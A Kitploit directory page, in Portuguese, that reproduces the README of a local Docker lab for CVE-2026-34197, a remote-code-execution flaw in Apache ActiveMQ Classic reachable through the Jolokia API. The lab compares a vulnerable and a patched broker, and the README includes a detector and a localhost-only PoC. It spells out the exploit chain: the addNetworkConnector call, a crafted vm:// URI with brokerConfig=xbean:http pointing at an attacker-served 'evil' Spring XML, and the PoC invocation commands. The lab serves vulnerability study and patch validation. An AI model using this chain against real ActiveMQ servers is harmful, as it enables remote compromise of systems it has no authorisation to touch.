Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-34197-Lab — # Laboratório Docker demonstrando CVE-2026-34197, uma RCE no Apache ActiveMQ Classic via Jolokia. Inclui um detector seguro e um PoC apenas local com comando fixo, comparando versões vulneráveis e corrigidas. | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# Laboratório Docker demonstrando CVE-2026-34197, uma RCE no Apache ActiveMQ Classic via Jolokia. Inclui um detector seguro e um PoC apenas local com comando fixo, comparando versões vulneráveis e corrigidas.

Ver Repositório
12há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-34197 — Laboratório de RCE Jolokia do Apache ActiveMQ Classic

Visão Geral

Este repositório é um laboratório Docker local para estudar a CVE-2026-34197, um problema de execução remota de código no Apache ActiveMQ Classic acessível através da API Jolokia JMX-HTTP.

O laboratório compara duas instâncias do ActiveMQ Classic lado a lado:

ServiçoVersãoFinalidadeURL
vuln5.19.3Alvo vulnerávelhttp://127.0.0.1:8081
patched5.19.4Alvo de comparação corrigidohttp://127.0.0.1:8082

O repositório contém dois scripts de prova:

ScriptFinalidadeModelo de segurança
poc/detect.pyDetector autorizadoSomente HTTP; não explora
poc/poc.pyProva de caminho RCE somente localComando fixo apenas: id; whoami; sleep 5

A evidência de execução é verificada separadamente pelo operador usando ferramentas de observação de processos, como strace.


Resumo da Vulnerabilidade

A CVE-2026-34197 afeta versões do Apache ActiveMQ Classic onde um usuário autenticado pode usar a API Jolokia para invocar operações de gerenciamento do broker e fazer com que a JVM do broker carregue Spring XML controlado pelo atacante através de uma URI brokerConfig=xbean:http://... manipulada.

O fluxo vulnerável demonstrado neste laboratório é:

Jolokia /api/jolokia/
  -> Operação do MBean do Broker
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> Busca remota de Spring XML
  -> Inicialização do bean ProcessBuilder
  -> comando de prova local fixo

O serviço corrigido bloqueia este caminho antes que o XML seja buscado e retorna um erro semelhante a:

VM scheme is not allowed

Estrutura do Repositório

.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

Funções dos arquivos

  • docker-compose.yml executa os serviços ActiveMQ vulnerável e corrigido.
  • vuln/Dockerfile compila o Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile compila o Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py verifica a exposição do Jolokia, a versão do ActiveMQ e a visibilidade do MBean do Broker.
  • poc/poc.py aciona o caminho RCE somente local usando um comando benigno fixo.
  • images/strace.png contém evidências locais de observação de processos do serviço vulnerável.
  • .gitignore exclui artefatos locais, arquivos de cache Python, ambientes virtuais, logs e segredos.

Limites de Segurança

Este repositório destina-se apenas ao uso em laboratório local e à validação de segurança autorizada.

O PoC é deliberadamente restrito:

  • Recusa alvos não locais.
  • Não aceita comandos arbitrários.
  • Usa apenas o comando fixo: id; whoami; sleep 5.
  • Não coleta a saída do comando através de um callback.
  • Depende de observação separada controlada pelo operador, como strace.

Alvos locais permitidos para poc.py:

127.0.0.1
localhost
::1

Não use este repositório contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.


Configuração do Laboratório

Compilar e iniciar o laboratório

docker compose down -v
docker compose build
docker compose up -d

Verifique o status do serviço:

docker compose ps

Serviços esperados:

cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Verificar endpoints de versão do Jolokia

Verifique o serviço vulnerável:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Verifique o serviço corrigido:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Versões esperadas:

8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Uso do Detector

poc/detect.py é o script padrão seguro. Ele não explora o alvo.

Ele verifica:

  1. se /api/jolokia/version está acessível;
  2. se a autenticação é necessária;
  3. se o produto é Apache ActiveMQ;
  4. a versão do ActiveMQ;
  5. se o MBean do Broker está visível através da pesquisa Jolokia;
  6. se a versão está em uma faixa afetada.

Executar o detector contra ambos os serviços do laboratório

python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Resultado esperado:

http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

O que conta como vulnerável no detector?

O detector marca um alvo como LIKELY_VULNERABLE quando:

Jolokia está acessível
+
A versão do ActiveMQ está em uma faixa afetada

Faixas afetadas usadas por este laboratório:

5.x < 5.19.4
6.x < 6.2.3

A visibilidade do MBean do Broker é usada como evidência de confiança porque o caminho de exploração depende de operações de gerenciamento do broker.

O detector não afirma CONFIRMED_RCE.


PoC do Caminho RCE Somente Local

poc/poc.py demonstra o caminho RCE no laboratório Docker local.

Ele inicia um servidor HTTP temporário no host e serve um payload Spring XML em um caminho exclusivo por execução:

/evil-<nonce>.xml

Em seguida, ele invoca o MBean do Broker ActiveMQ através do Jolokia:

addNetworkConnector(java.lang.String)

com uma URI de descoberta manipulada:

static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

O broker vulnerável busca este XML. O broker corrigido bloqueia o esquema de transporte vm:// antes de buscar o XML.

Comportamento importante

Após uma execução vulnerável, o NetworkConnector criado pode tentar buscar novamente o caminho XML antigo. O script usa um nonce exclusivo por execução e rastreia matches_current_run para evitar falsos positivos.

Um acerto só é contado como execução atual se corresponder a:

/evil-<nonce-atual>.xml

Executar PoC Contra o Serviço Vulnerável

python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Saída esperada:

[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

Isso confirma que o ActiveMQ 5.19.3 pode ser induzido a buscar Spring XML controlado pelo atacante através do caminho do broker gerenciado pelo Jolokia.


Executar PoC Contra o Serviço Corrigido

python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Saída esperada:

VM scheme is not allowed
[-] No XML fetch observed for this run.

Se acertos de uma execução vulnerável mais antiga aparecerem, eles devem mostrar:

"matches_current_run": false

Esses não são contados como sucesso do serviço corrigido.


Confirmar Execução de Comando com strace

O script PoC não coleta a saída do comando. Para confirmar a execução do comando, observe a criação de processos dentro do contêiner vulnerável.

Entre no contêiner vulnerável como root:

docker exec -it --user root cve-2026-34197-vuln bash

Encontre o processo Java:

pgrep -af java

Anexe o strace ao PID do Java:

strace -f -e execve -p <JAVA_PID>
Baixar ferramenta